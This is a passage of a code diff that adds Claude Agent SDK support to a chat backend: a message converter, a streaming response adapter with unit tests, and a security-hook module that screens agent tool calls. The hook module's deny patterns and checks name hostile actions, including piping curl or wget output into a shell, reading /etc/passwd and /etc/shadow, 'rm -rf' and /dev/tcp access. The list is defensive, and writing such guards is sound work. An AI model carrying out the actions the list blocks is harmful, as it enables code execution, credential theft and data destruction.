+                            args = json.loads(args)
+                        except json.JSONDecodeError:
+                            args = {}
+                    content.append(
+                        {
+                            "type": "tool_use",
+                            "id": tc.get("id", str(uuid.uuid4())),
+                            "name": func.get("name", ""),
+                            "input": args,
+                        }
+                    )
+            if content:
+                new_msg = {"role": "assistant", "content": content}
+            else:
+                continue  # Skip empty assistant messages
+        elif msg.role == "tool":
+            new_msg = {
+                "role": "user",
+                "content": [
+                    {
+                        "type": "tool_result",
+                        "tool_use_id": msg.tool_call_id or "",
+                        "content": msg.content or "",
+                    }
+                ],
+            }
+        else:
+            continue
+
+        messages.append(new_msg)
+
+    # Merge consecutive same-role messages (Anthropic requires alternating roles)
+    return _merge_consecutive_roles(messages)
+
+
+def _merge_consecutive_roles(messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
+    """Merge consecutive messages with the same role.
+
+    Anthropic API requires alternating user/assistant roles.
+    """
+    if not messages:
+        return []
+
+    merged: list[dict[str, Any]] = []
+    for msg in messages:
+        if merged and merged[-1]["role"] == msg["role"]:
+            # Merge with previous message
+            prev_content = merged[-1]["content"]
+            new_content = msg["content"]
+
+            # Normalize both to list-of-blocks form
+            if isinstance(prev_content, str):
+                prev_content = [{"type": "text", "text": prev_content}]
+            if isinstance(new_content, str):
+                new_content = [{"type": "text", "text": new_content}]
+
+            # Ensure both are lists
+            if not isinstance(prev_content, list):
+                prev_content = [prev_content]
+            if not isinstance(new_content, list):
+                new_content = [new_content]
+
+            merged[-1]["content"] = prev_content + new_content
+        else:
+            merged.append(msg)
+
+    return merged
+
+
+async def _execute_tool(
+    tool_name: str, tool_input: Any, handlers: dict[str, Any]
+) -> tuple[str, bool]:
+    """Execute a tool and return (output, is_error)."""
+    handler = handlers.get(tool_name)
+    if not handler:
+        return f"Unknown tool: {tool_name}", True
+
+    try:
+        result = await handler(tool_input)
+        # Safely extract output - handle empty or missing content
+        content = result.get("content") or []
+        if content and isinstance(content, list) and len(content) > 0:
+            first_item = content[0]
+            output = first_item.get("text", "") if isinstance(first_item, dict) else ""
+        else:
+            output = ""
+        is_error = result.get("isError", False)
+        return output, is_error
+    except Exception as e:
+        return f"Error: {str(e)}", True

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter.py

@@ -0,0 +1,212 @@
+"""Response adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
+
+This module provides the adapter layer that converts streaming messages from
+the Claude Agent SDK into the Vercel AI SDK UI Stream Protocol format that
+the frontend expects.
+"""
+
+import json
+import logging
+import uuid
+
+from claude_agent_sdk import (
+    AssistantMessage,
+    Message,
+    ResultMessage,
+    SystemMessage,
+    TextBlock,
+    ToolResultBlock,
+    ToolUseBlock,
+    UserMessage,
+)
+
+from backend.api.features.chat.response_model import (
+    StreamBaseResponse,
+    StreamError,
+    StreamFinish,
+    StreamFinishStep,
+    StreamStart,
+    StreamStartStep,
+    StreamTextDelta,
+    StreamTextEnd,
+    StreamTextStart,
+    StreamToolInputAvailable,
+    StreamToolInputStart,
+    StreamToolOutputAvailable,
+    StreamUsage,
+)
+from backend.api.features.chat.sdk.tool_adapter import (
+    MCP_TOOL_PREFIX,
+    pop_pending_tool_output,
+)
+
+logger = logging.getLogger(__name__)
+
+
+class SDKResponseAdapter:
+    """Adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
+
+    This class maintains state during a streaming session to properly track
+    text blocks, tool calls, and message lifecycle.
+    """
+
+    def __init__(self, message_id: str | None = None):
+        self.message_id = message_id or str(uuid.uuid4())
+        self.text_block_id = str(uuid.uuid4())
+        self.has_started_text = False
+        self.has_ended_text = False
+        self.current_tool_calls: dict[str, dict[str, str]] = {}
+        self.task_id: str | None = None
+        self.step_open = False
+
+    def set_task_id(self, task_id: str) -> None:
+        """Set the task ID for reconnection support."""
+        self.task_id = task_id
+
+    def convert_message(self, sdk_message: Message) -> list[StreamBaseResponse]:
+        """Convert a single SDK message to Vercel AI SDK format."""
+        responses: list[StreamBaseResponse] = []
+
+        if isinstance(sdk_message, SystemMessage):
+            if sdk_message.subtype == "init":
+                responses.append(
+                    StreamStart(messageId=self.message_id, taskId=self.task_id)
+                )
+                # Open the first step (matches non-SDK: StreamStart then StreamStartStep)
+                responses.append(StreamStartStep())
+                self.step_open = True
+
+        elif isinstance(sdk_message, AssistantMessage):
+            # After tool results, the SDK sends a new AssistantMessage for the
+            # next LLM turn. Open a new step if the previous one was closed.
+            if not self.step_open:
+                responses.append(StreamStartStep())
+                self.step_open = True
+
+            for block in sdk_message.content:
+                if isinstance(block, TextBlock):
+                    if block.text:
+                        self._ensure_text_started(responses)
+                        responses.append(
+                            StreamTextDelta(id=self.text_block_id, delta=block.text)
+                        )
+
+                elif isinstance(block, ToolUseBlock):
+                    self._end_text_if_open(responses)
+
+                    # Strip MCP prefix so frontend sees "find_block"
+                    # instead of "mcp__copilot__find_block".
+                    tool_name = block.name.removeprefix(MCP_TOOL_PREFIX)
+
+                    responses.append(
+                        StreamToolInputStart(toolCallId=block.id, toolName=tool_name)
+                    )
+                    responses.append(
+                        StreamToolInputAvailable(
+                            toolCallId=block.id,
+                            toolName=tool_name,
+                            input=block.input,
+                        )
+                    )
+                    self.current_tool_calls[block.id] = {"name": tool_name}
+
+        elif isinstance(sdk_message, UserMessage):
+            # UserMessage carries tool results back from tool execution.
+            content = sdk_message.content
+            blocks = content if isinstance(content, list) else []
+            for block in blocks:
+                if isinstance(block, ToolResultBlock) and block.tool_use_id:
+                    tool_info = self.current_tool_calls.get(block.tool_use_id, {})
+                    tool_name = tool_info.get("name", "unknown")
+
+                    # Prefer the stashed full output over the SDK's
+                    # (potentially truncated) ToolResultBlock content.
+                    # The SDK truncates large results, writing them to disk,
+                    # which breaks frontend widget parsing.
+                    output = pop_pending_tool_output(tool_name) or (
+                        _extract_tool_output(block.content)
+                    )
+
+                    responses.append(
+                        StreamToolOutputAvailable(
+                            toolCallId=block.tool_use_id,
+                            toolName=tool_name,
+                            output=output,
+                            success=not (block.is_error or False),
+                        )
+                    )
+
+            # Close the current step after tool results — the next
+            # AssistantMessage will open a new step for the continuation.
+            if self.step_open:
+                responses.append(StreamFinishStep())
+                self.step_open = False
+
+        elif isinstance(sdk_message, ResultMessage):
+            self._end_text_if_open(responses)
+            # Close the step before finishing.
+            if self.step_open:
+                responses.append(StreamFinishStep())
+                self.step_open = False
+
+            # Emit token usage if the SDK reported it
+            usage = getattr(sdk_message, "usage", None) or {}
+            if usage:
+                input_tokens = usage.get("input_tokens", 0)
+                output_tokens = usage.get("output_tokens", 0)
+                responses.append(
+                    StreamUsage(
+                        promptTokens=input_tokens,
+                        completionTokens=output_tokens,
+                        totalTokens=input_tokens + output_tokens,
+                    )
+                )
+
+            if sdk_message.subtype == "success":
+                responses.append(StreamFinish())
+            elif sdk_message.subtype in ("error", "error_during_execution"):
+                error_msg = getattr(sdk_message, "result", None) or "Unknown error"
+                responses.append(
+                    StreamError(errorText=str(error_msg), code="sdk_error")
+                )
+                responses.append(StreamFinish())
+
+        else:
+            logger.debug(f"Unhandled SDK message type: {type(sdk_message).__name__}")
+
+        return responses
+
+    def _ensure_text_started(self, responses: list[StreamBaseResponse]) -> None:
+        """Start (or restart) a text block if needed."""
+        if not self.has_started_text or self.has_ended_text:
+            if self.has_ended_text:
+                self.text_block_id = str(uuid.uuid4())
+                self.has_ended_text = False
+            responses.append(StreamTextStart(id=self.text_block_id))
+            self.has_started_text = True
+
+    def _end_text_if_open(self, responses: list[StreamBaseResponse]) -> None:
+        """End the current text block if one is open."""
+        if self.has_started_text and not self.has_ended_text:
+            responses.append(StreamTextEnd(id=self.text_block_id))
+            self.has_ended_text = True
+
+
+def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
+    """Extract a string output from a ToolResultBlock's content field."""
+    if isinstance(content, str):
+        return content
+    if isinstance(content, list):
+        parts = [item.get("text", "") for item in content if item.get("type") == "text"]
+        if parts:
+            return "".join(parts)
+        try:
+            return json.dumps(content)
+        except (TypeError, ValueError):
+            return str(content)
+    if content is None:
+        return ""
+    try:
+        return json.dumps(content)
+    except (TypeError, ValueError):
+        return str(content)

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter_test.py

@@ -0,0 +1,366 @@
+"""Unit tests for the SDK response adapter."""
+
+from claude_agent_sdk import (
+    AssistantMessage,
+    ResultMessage,
+    SystemMessage,
+    TextBlock,
+    ToolResultBlock,
+    ToolUseBlock,
+    UserMessage,
+)
+
+from backend.api.features.chat.response_model import (
+    StreamBaseResponse,
+    StreamError,
+    StreamFinish,
+    StreamFinishStep,
+    StreamStart,
+    StreamStartStep,
+    StreamTextDelta,
+    StreamTextEnd,
+    StreamTextStart,
+    StreamToolInputAvailable,
+    StreamToolInputStart,
+    StreamToolOutputAvailable,
+)
+
+from .response_adapter import SDKResponseAdapter
+from .tool_adapter import MCP_TOOL_PREFIX
+
+
+def _adapter() -> SDKResponseAdapter:
+    a = SDKResponseAdapter(message_id="msg-1")
+    a.set_task_id("task-1")
+    return a
+
+
+# -- SystemMessage -----------------------------------------------------------
+
+
+def test_system_init_emits_start_and_step():
+    adapter = _adapter()
+    results = adapter.convert_message(SystemMessage(subtype="init", data={}))
+    assert len(results) == 2
+    assert isinstance(results[0], StreamStart)
+    assert results[0].messageId == "msg-1"
+    assert results[0].taskId == "task-1"
+    assert isinstance(results[1], StreamStartStep)
+
+
+def test_system_non_init_emits_nothing():
+    adapter = _adapter()
+    results = adapter.convert_message(SystemMessage(subtype="other", data={}))
+    assert results == []
+
+
+# -- AssistantMessage with TextBlock -----------------------------------------
+
+
+def test_text_block_emits_step_start_and_delta():
+    adapter = _adapter()
+    msg = AssistantMessage(content=[TextBlock(text="hello")], model="test")
+    results = adapter.convert_message(msg)
+    assert len(results) == 3
+    assert isinstance(results[0], StreamStartStep)
+    assert isinstance(results[1], StreamTextStart)
+    assert isinstance(results[2], StreamTextDelta)
+    assert results[2].delta == "hello"
+
+
+def test_empty_text_block_emits_only_step():
+    adapter = _adapter()
+    msg = AssistantMessage(content=[TextBlock(text="")], model="test")
+    results = adapter.convert_message(msg)
+    # Empty text skipped, but step still opens
+    assert len(results) == 1
+    assert isinstance(results[0], StreamStartStep)
+
+
+def test_multiple_text_deltas_reuse_block_id():
+    adapter = _adapter()
+    msg1 = AssistantMessage(content=[TextBlock(text="a")], model="test")
+    msg2 = AssistantMessage(content=[TextBlock(text="b")], model="test")
+    r1 = adapter.convert_message(msg1)
+    r2 = adapter.convert_message(msg2)
+    # First gets step+start+delta, second only delta (block & step already started)
+    assert len(r1) == 3
+    assert isinstance(r1[0], StreamStartStep)
+    assert isinstance(r1[1], StreamTextStart)
+    assert len(r2) == 1
+    assert isinstance(r2[0], StreamTextDelta)
+    assert r1[1].id == r2[0].id  # same block ID
+
+
+# -- AssistantMessage with ToolUseBlock --------------------------------------
+
+
+def test_tool_use_emits_input_start_and_available():
+    """Tool names arrive with MCP prefix and should be stripped for the frontend."""
+    adapter = _adapter()
+    msg = AssistantMessage(
+        content=[
+            ToolUseBlock(
+                id="tool-1",
+                name=f"{MCP_TOOL_PREFIX}find_agent",
+                input={"q": "x"},
+            )
+        ],
+        model="test",
+    )
+    results = adapter.convert_message(msg)
+    assert len(results) == 3
+    assert isinstance(results[0], StreamStartStep)
+    assert isinstance(results[1], StreamToolInputStart)
+    assert results[1].toolCallId == "tool-1"
+    assert results[1].toolName == "find_agent"  # prefix stripped
+    assert isinstance(results[2], StreamToolInputAvailable)
+    assert results[2].toolName == "find_agent"  # prefix stripped
+    assert results[2].input == {"q": "x"}
+
+
+def test_text_then_tool_ends_text_block():
+    adapter = _adapter()
+    text_msg = AssistantMessage(content=[TextBlock(text="thinking...")], model="test")
+    tool_msg = AssistantMessage(
+        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
+        model="test",
+    )
+    adapter.convert_message(text_msg)  # opens step + text
+    results = adapter.convert_message(tool_msg)
+    # Step already open, so: TextEnd, ToolInputStart, ToolInputAvailable
+    assert len(results) == 3
+    assert isinstance(results[0], StreamTextEnd)
+    assert isinstance(results[1], StreamToolInputStart)
+
+
+# -- UserMessage with ToolResultBlock ----------------------------------------
+
+
+def test_tool_result_emits_output_and_finish_step():
+    adapter = _adapter()
+    # First register the tool call (opens step) — SDK sends prefixed name
+    tool_msg = AssistantMessage(
+        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}find_agent", input={})],
+        model="test",
+    )
+    adapter.convert_message(tool_msg)
+
+    # Now send tool result
+    result_msg = UserMessage(
+        content=[ToolResultBlock(tool_use_id="t1", content="found 3 agents")]
+    )
+    results = adapter.convert_message(result_msg)
+    assert len(results) == 2
+    assert isinstance(results[0], StreamToolOutputAvailable)
+    assert results[0].toolCallId == "t1"
+    assert results[0].toolName == "find_agent"  # prefix stripped
+    assert results[0].output == "found 3 agents"
+    assert results[0].success is True
+    assert isinstance(results[1], StreamFinishStep)
+
+
+def test_tool_result_error():
+    adapter = _adapter()
+    adapter.convert_message(
+        AssistantMessage(
+            content=[
+                ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}run_agent", input={})
+            ],
+            model="test",
+        )
+    )
+    result_msg = UserMessage(
+        content=[ToolResultBlock(tool_use_id="t1", content="timeout", is_error=True)]
+    )
+    results = adapter.convert_message(result_msg)
+    assert isinstance(results[0], StreamToolOutputAvailable)
+    assert results[0].success is False
+    assert isinstance(results[1], StreamFinishStep)
+
+
+def test_tool_result_list_content():
+    adapter = _adapter()
+    adapter.convert_message(
+        AssistantMessage(
+            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
+            model="test",
+        )
+    )
+    result_msg = UserMessage(
+        content=[
+            ToolResultBlock(
+                tool_use_id="t1",
+                content=[
+                    {"type": "text", "text": "line1"},
+                    {"type": "text", "text": "line2"},
+                ],
+            )
+        ]
+    )
+    results = adapter.convert_message(result_msg)
+    assert isinstance(results[0], StreamToolOutputAvailable)
+    assert results[0].output == "line1line2"
+    assert isinstance(results[1], StreamFinishStep)
+
+
+def test_string_user_message_ignored():
+    """A plain string UserMessage (not tool results) produces no output."""
+    adapter = _adapter()
+    results = adapter.convert_message(UserMessage(content="hello"))
+    assert results == []
+
+
+# -- ResultMessage -----------------------------------------------------------
+
+
+def test_result_success_emits_finish_step_and_finish():
+    adapter = _adapter()
+    # Start some text first (opens step)
+    adapter.convert_message(
+        AssistantMessage(content=[TextBlock(text="done")], model="test")
+    )
+    msg = ResultMessage(
+        subtype="success",
+        duration_ms=100,
+        duration_api_ms=50,
+        is_error=False,
+        num_turns=1,
+        session_id="s1",
+    )
+    results = adapter.convert_message(msg)
+    # TextEnd + FinishStep + StreamFinish
+    assert len(results) == 3
+    assert isinstance(results[0], StreamTextEnd)
+    assert isinstance(results[1], StreamFinishStep)
+    assert isinstance(results[2], StreamFinish)
+
+
+def test_result_error_emits_error_and_finish():
+    adapter = _adapter()
+    msg = ResultMessage(
+        subtype="error",
+        duration_ms=100,
+        duration_api_ms=50,
+        is_error=True,
+        num_turns=0,
+        session_id="s1",
+        result="API rate limited",
+    )
+    results = adapter.convert_message(msg)
+    # No step was open, so no FinishStep — just Error + Finish
+    assert len(results) == 2
+    assert isinstance(results[0], StreamError)
+    assert "API rate limited" in results[0].errorText
+    assert isinstance(results[1], StreamFinish)
+
+
+# -- Text after tools (new block ID) ----------------------------------------
+
+
+def test_text_after_tool_gets_new_block_id():
+    adapter = _adapter()
+    # Text -> Tool -> ToolResult -> Text should get a new text block ID and step
+    adapter.convert_message(
+        AssistantMessage(content=[TextBlock(text="before")], model="test")
+    )
+    adapter.convert_message(
+        AssistantMessage(
+            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
+            model="test",
+        )
+    )
+    # Send tool result (closes step)
+    adapter.convert_message(
+        UserMessage(content=[ToolResultBlock(tool_use_id="t1", content="ok")])
+    )
+    results = adapter.convert_message(
+        AssistantMessage(content=[TextBlock(text="after")], model="test")
+    )
+    # Should get StreamStartStep (new step) + StreamTextStart (new block) + StreamTextDelta
+    assert len(results) == 3
+    assert isinstance(results[0], StreamStartStep)
+    assert isinstance(results[1], StreamTextStart)
+    assert isinstance(results[2], StreamTextDelta)
+    assert results[2].delta == "after"
+
+
+# -- Full conversation flow --------------------------------------------------
+
+
+def test_full_conversation_flow():
+    """Simulate a complete conversation: init -> text -> tool -> result -> text -> finish."""
+    adapter = _adapter()
+    all_responses: list[StreamBaseResponse] = []
+
+    # 1. Init
+    all_responses.extend(
+        adapter.convert_message(SystemMessage(subtype="init", data={}))
+    )
+    # 2. Assistant text
+    all_responses.extend(
+        adapter.convert_message(
+            AssistantMessage(content=[TextBlock(text="Let me search")], model="test")
+        )
+    )
+    # 3. Tool use
+    all_responses.extend(
+        adapter.convert_message(
+            AssistantMessage(
+                content=[
+                    ToolUseBlock(
+                        id="t1",
+                        name=f"{MCP_TOOL_PREFIX}find_agent",
+                        input={"query": "email"},
+                    )
+                ],
+                model="test",
+            )
+        )
+    )
+    # 4. Tool result
+    all_responses.extend(
+        adapter.convert_message(
+            UserMessage(
+                content=[ToolResultBlock(tool_use_id="t1", content="Found 2 agents")]
+            )
+        )
+    )
+    # 5. More text
+    all_responses.extend(
+        adapter.convert_message(
+            AssistantMessage(content=[TextBlock(text="I found 2")], model="test")
+        )
+    )
+    # 6. Result
+    all_responses.extend(
+        adapter.convert_message(
+            ResultMessage(
+                subtype="success",
+                duration_ms=500,
+                duration_api_ms=400,
+                is_error=False,
+                num_turns=2,
+                session_id="s1",
+            )
+        )
+    )
+
+    types = [type(r).__name__ for r in all_responses]
+    assert types == [
+        "StreamStart",
+        "StreamStartStep",  # step 1: text + tool call
+        "StreamTextStart",
+        "StreamTextDelta",  # "Let me search"
+        "StreamTextEnd",  # closed before tool
+        "StreamToolInputStart",
+        "StreamToolInputAvailable",
+        "StreamToolOutputAvailable",  # tool result
+        "StreamFinishStep",  # step 1 closed after tool result
+        "StreamStartStep",  # step 2: continuation text
+        "StreamTextStart",  # new block after tool
+        "StreamTextDelta",  # "I found 2"
+        "StreamTextEnd",  # closed by result
+        "StreamFinishStep",  # step 2 closed
+        "StreamFinish",
+    ]

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks.py

@@ -0,0 +1,393 @@
+"""Security hooks for Claude Agent SDK integration.
+
+This module provides security hooks that validate tool calls before execution,
+ensuring multi-user isolation and preventing unauthorized operations.
+"""
+
+import json
+import logging
+import os
+import re
+import shlex
+from typing import Any, cast
+
+from backend.api.features.chat.sdk.tool_adapter import MCP_TOOL_PREFIX
+
+logger = logging.getLogger(__name__)
+
+# Tools that are blocked entirely (CLI/system access)
+BLOCKED_TOOLS = {
+    "bash",
+    "shell",
+    "exec",
+    "terminal",
+    "command",
+}
+
+# Safe read-only commands allowed in the sandboxed Bash tool.
+# These are data-processing / inspection utilities — no writes, no network.
+ALLOWED_BASH_COMMANDS = {
+    # JSON / structured data
+    "jq",
+    # Text processing
+    "grep",
+    "egrep",
+    "fgrep",
+    "rg",
+    "head",
+    "tail",
+    "cat",
+    "wc",
+    "sort",
+    "uniq",
+    "cut",
+    "tr",
+    "sed",
+    "awk",
+    "column",
+    "fold",
+    "fmt",
+    "nl",
+    "paste",
+    "rev",
+    # File inspection (read-only)
+    "find",
+    "ls",
+    "file",
+    "stat",
+    "du",
+    "tree",
+    "basename",
+    "dirname",
+    "realpath",
+    # Utilities
+    "echo",
+    "printf",
+    "date",
+    "true",
+    "false",
+    "xargs",
+    "tee",
+    # Comparison / encoding
+    "diff",
+    "comm",
+    "base64",
+    "md5sum",
+    "sha256sum",
+}
+
+# Tools allowed only when their path argument stays within the SDK workspace.
+# The SDK uses these to handle oversized tool results (writes to tool-results/
+# files, then reads them back) and for workspace file operations.
+WORKSPACE_SCOPED_TOOLS = {"Read", "Write", "Edit", "Glob", "Grep"}
+
+# Tools that get sandboxed Bash validation (command allowlist + workspace paths).
+SANDBOXED_BASH_TOOLS = {"Bash"}
+
+# Dangerous patterns in tool inputs
+DANGEROUS_PATTERNS = [
+    r"sudo",
+    r"rm\s+-rf",
+    r"dd\s+if=",
+    r"/etc/passwd",
+    r"/etc/shadow",
+    r"chmod\s+777",
+    r"curl\s+.*\|.*sh",
+    r"wget\s+.*\|.*sh",
+    r"eval\s*\(",
+    r"exec\s*\(",
+    r"__import__",
+    r"os\.system",
+    r"subprocess",
+]
+
+
+def _deny(reason: str) -> dict[str, Any]:
+    """Return a hook denial response."""
+    return {
+        "hookSpecificOutput": {
+            "hookEventName": "PreToolUse",
+            "permissionDecision": "deny",
+            "permissionDecisionReason": reason,
+        }
+    }
+
+
+def _validate_workspace_path(
+    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None
+) -> dict[str, Any]:
+    """Validate that a workspace-scoped tool only accesses allowed paths.
+
+    Allowed directories:
+    - The SDK working directory (``/tmp/copilot-<session>/``)
+    - The SDK tool-results directory (``~/.claude/projects/…/tool-results/``)
+    """
+    path = tool_input.get("file_path") or tool_input.get("path") or ""
+    if not path:
+        # Glob/Grep without a path default to cwd which is already sandboxed
+        return {}
+
+    resolved = os.path.normpath(os.path.expanduser(path))
+
+    # Allow access within the SDK working directory
+    if sdk_cwd:
+        norm_cwd = os.path.normpath(sdk_cwd)
+        if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
+            return {}
+
+    # Allow access to ~/.claude/projects/*/tool-results/ (big tool results)
+    claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
+    if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
+        return {}
+
+    logger.warning(
+        f"Blocked {tool_name} outside workspace: {path} (resolved={resolved})"
+    )
+    return _deny(
+        f"Tool '{tool_name}' can only access files within the workspace directory."
+    )
+
+
+def _validate_bash_command(
+    tool_input: dict[str, Any], sdk_cwd: str | None
+) -> dict[str, Any]:
+    """Validate a Bash command against the allowlist of safe commands.
+
+    Only read-only data-processing commands are allowed (jq, grep, head, etc.).
+    Blocks command substitution, output redirection, and disallowed executables.
+
+    Uses ``shlex.split`` to properly handle quoted strings (e.g. jq filters
+    containing ``|`` won't be mistaken for shell pipes).
+    """
+    command = tool_input.get("command", "")
+    if not command or not isinstance(command, str):
+        return _deny("Bash command is empty.")
+
+    # Block command substitution — can smuggle arbitrary commands
+    if "$(" in command or "`" in command:
+        return _deny("Command substitution ($() or ``) is not allowed in Bash.")
+
+    # Block output redirection — Bash should be read-only
+    if re.search(r"(?<!\d)>{1,2}\s", command):
+        return _deny("Output redirection (> or >>) is not allowed in Bash.")
+
+    # Block /dev/ access (e.g., /dev/tcp for network)
+    if "/dev/" in command:
+        return _deny("Access to /dev/ is not allowed in Bash.")
+
+    # Tokenize with shlex (respects quotes), then extract command names.
+    # shlex preserves shell operators like | ; && || as separate tokens.
+    try:
+        tokens = shlex.split(command)
+    except ValueError:
+        return _deny("Malformed command (unmatched quotes).")
+
+    # Walk tokens: the first non-assignment token after a pipe/separator is a command.
+    expect_command = True
+    for token in tokens:
+        if token in ("|", "||", "&&", ";"):
+            expect_command = True
+            continue
+        if expect_command:
+            # Skip env var assignments (VAR=value)
+            if "=" in token and not token.startswith("-"):
+                continue
+            cmd_name = os.path.basename(token)
+            if cmd_name not in ALLOWED_BASH_COMMANDS:
+                allowed = ", ".join(sorted(ALLOWED_BASH_COMMANDS))
+                logger.warning(f"Blocked Bash command: {cmd_name}")
+                return _deny(
+                    f"Command '{cmd_name}' is not allowed. "
+                    f"Allowed commands: {allowed}"
+                )
+            expect_command = False
+
+    # Validate absolute file paths stay within workspace
+    if sdk_cwd:
+        norm_cwd = os.path.normpath(sdk_cwd)
+        claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
+        for token in tokens:
+            if not token.startswith("/"):
+                continue
+            resolved = os.path.normpath(token)
+            if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
+                continue
+            if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
+                continue
+            logger.warning(f"Blocked Bash path outside workspace: {token}")
+            return _deny(
+                f"Bash can only access files within the workspace directory. "
+                f"Path '{token}' is outside the workspace."
+            )
+
+    return {}
+
+
+def _validate_tool_access(
+    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None = None
+) -> dict[str, Any]:
+    """Validate that a tool call is allowed.
+
+    Returns:
+        Empty dict to allow, or dict with hookSpecificOutput to deny
+    """
+    # Block forbidden tools
+    if tool_name in BLOCKED_TOOLS:
+        logger.warning(f"Blocked tool access attempt: {tool_name}")
+        return _deny(
+            f"Tool '{tool_name}' is not available. "
+            "Use the CoPilot-specific tools instead."
+        )
+
+    # Sandboxed Bash: only allowlisted commands, workspace-scoped paths
+    if tool_name in SANDBOXED_BASH_TOOLS:
+        return _validate_bash_command(tool_input, sdk_cwd)
+
+    # Workspace-scoped tools: allowed only within the SDK workspace directory
+    if tool_name in WORKSPACE_SCOPED_TOOLS:
+        return _validate_workspace_path(tool_name, tool_input, sdk_cwd)
+
+    # Check for dangerous patterns in tool input
+    # Use json.dumps for predictable format (str() produces Python repr)
+    input_str = json.dumps(tool_input) if tool_input else ""
+
+    for pattern in DANGEROUS_PATTERNS:
+        if re.search(pattern, input_str, re.IGNORECASE):
+            logger.warning(
+                f"Blocked dangerous pattern in tool input: {pattern} in {tool_name}"
+            )
+            return _deny("Input contains blocked pattern")
+
+    return {}
+
+
+def _validate_user_isolation(
+    tool_name: str, tool_input: dict[str, Any], user_id: str | None
+) -> dict[str, Any]:
+    """Validate that tool calls respect user isolation."""
+    # For workspace file tools, ensure path doesn't escape
+    if "workspace" in tool_name.lower():
+        path = tool_input.get("path", "") or tool_input.get("file_path", "")
+        if path:
+            # Check for path traversal
+            if ".." in path or path.startswith("/"):
+                logger.warning(
+                    f"Blocked path traversal attempt: {path} by user {user_id}"
+                )
+                return {
+                    "hookSpecificOutput": {
+                        "hookEventName": "PreToolUse",
+                        "permissionDecision": "deny",
+                        "permissionDecisionReason": "Path traversal not allowed",
+                    }
+                }
+
+    return {}
+
+
+def create_security_hooks(
+    user_id: str | None, sdk_cwd: str | None = None
+) -> dict[str, Any]:
+    """Create the security hooks configuration for Claude Agent SDK.
+
+    Includes security validation and observability hooks:
+    - PreToolUse: Security validation before tool execution
+    - PostToolUse: Log successful tool executions
+    - PostToolUseFailure: Log and handle failed tool executions
+    - PreCompact: Log context compaction events (SDK handles compaction automatically)
+
+    Args:
+        user_id: Current user ID for isolation validation
+        sdk_cwd: SDK working directory for workspace-scoped tool validation
+
+    Returns:
+        Hooks configuration dict for ClaudeAgentOptions
+    """
+    try:
+        from claude_agent_sdk import HookMatcher
+        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
+
+        async def pre_tool_use_hook(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Combined pre-tool-use validation hook."""
+            _ = context  # unused but required by signature
+            tool_name = cast(str, input_data.get("tool_name", ""))
+            tool_input = cast(dict[str, Any], input_data.get("tool_input", {}))
+
+            # Strip MCP prefix for consistent validation
+            is_copilot_tool = tool_name.startswith(MCP_TOOL_PREFIX)
+            clean_name = tool_name.removeprefix(MCP_TOOL_PREFIX)
+
+            # Only block non-CoPilot tools; our MCP-registered tools
+            # (including Read for oversized results) are already sandboxed.
+            if not is_copilot_tool:
+                result = _validate_tool_access(clean_name, tool_input, sdk_cwd)
+                if result:
+                    return cast(SyncHookJSONOutput, result)
+
+            # Validate user isolation
+            result = _validate_user_isolation(clean_name, tool_input, user_id)
+            if result:
+                return cast(SyncHookJSONOutput, result)
+
+            logger.debug(f"[SDK] Tool start: {tool_name}, user={user_id}")
+            return cast(SyncHookJSONOutput, {})
+
+        async def post_tool_use_hook(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Log successful tool executions for observability."""
+            _ = context
+            tool_name = cast(str, input_data.get("tool_name", ""))
+            logger.debug(f"[SDK] Tool success: {tool_name}, tool_use_id={tool_use_id}")
+            return cast(SyncHookJSONOutput, {})
+
+        async def post_tool_failure_hook(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Log failed tool executions for debugging."""
+            _ = context
+            tool_name = cast(str, input_data.get("tool_name", ""))
+            error = input_data.get("error", "Unknown error")
+            logger.warning(
+                f"[SDK] Tool failed: {tool_name}, error={error}, "
+                f"user={user_id}, tool_use_id={tool_use_id}"
+            )
+            return cast(SyncHookJSONOutput, {})
+
+        async def pre_compact_hook(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Log when SDK triggers context compaction.
+
+            The SDK automatically compacts conversation history when it grows too large.
+            This hook provides visibility into when compaction happens.
+            """
+            _ = context, tool_use_id
+            trigger = input_data.get("trigger", "auto")
+            logger.info(
+                f"[SDK] Context compaction triggered: {trigger}, user={user_id}"
+            )
+            return cast(SyncHookJSONOutput, {})
+
+        return {
+            "PreToolUse": [HookMatcher(matcher="*", hooks=[pre_tool_use_hook])],
+            "PostToolUse": [HookMatcher(matcher="*", hooks=[post_tool_use_hook])],
+            "PostToolUseFailure": [
+                HookMatcher(matcher="*", hooks=[post_tool_failure_hook])
+            ],
+            "PreCompact": [HookMatcher(matcher="*", hooks=[pre_compact_hook])],
+        }
+    except ImportError:
+        # Fallback for when SDK isn't available - return empty hooks
+        logger.warning("claude-agent-sdk not available, security hooks disabled")
+        return {}

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks_test.py

@@ -0,0 +1,258 @@
+"""Unit tests for SDK security hooks."""
+
+import os
+
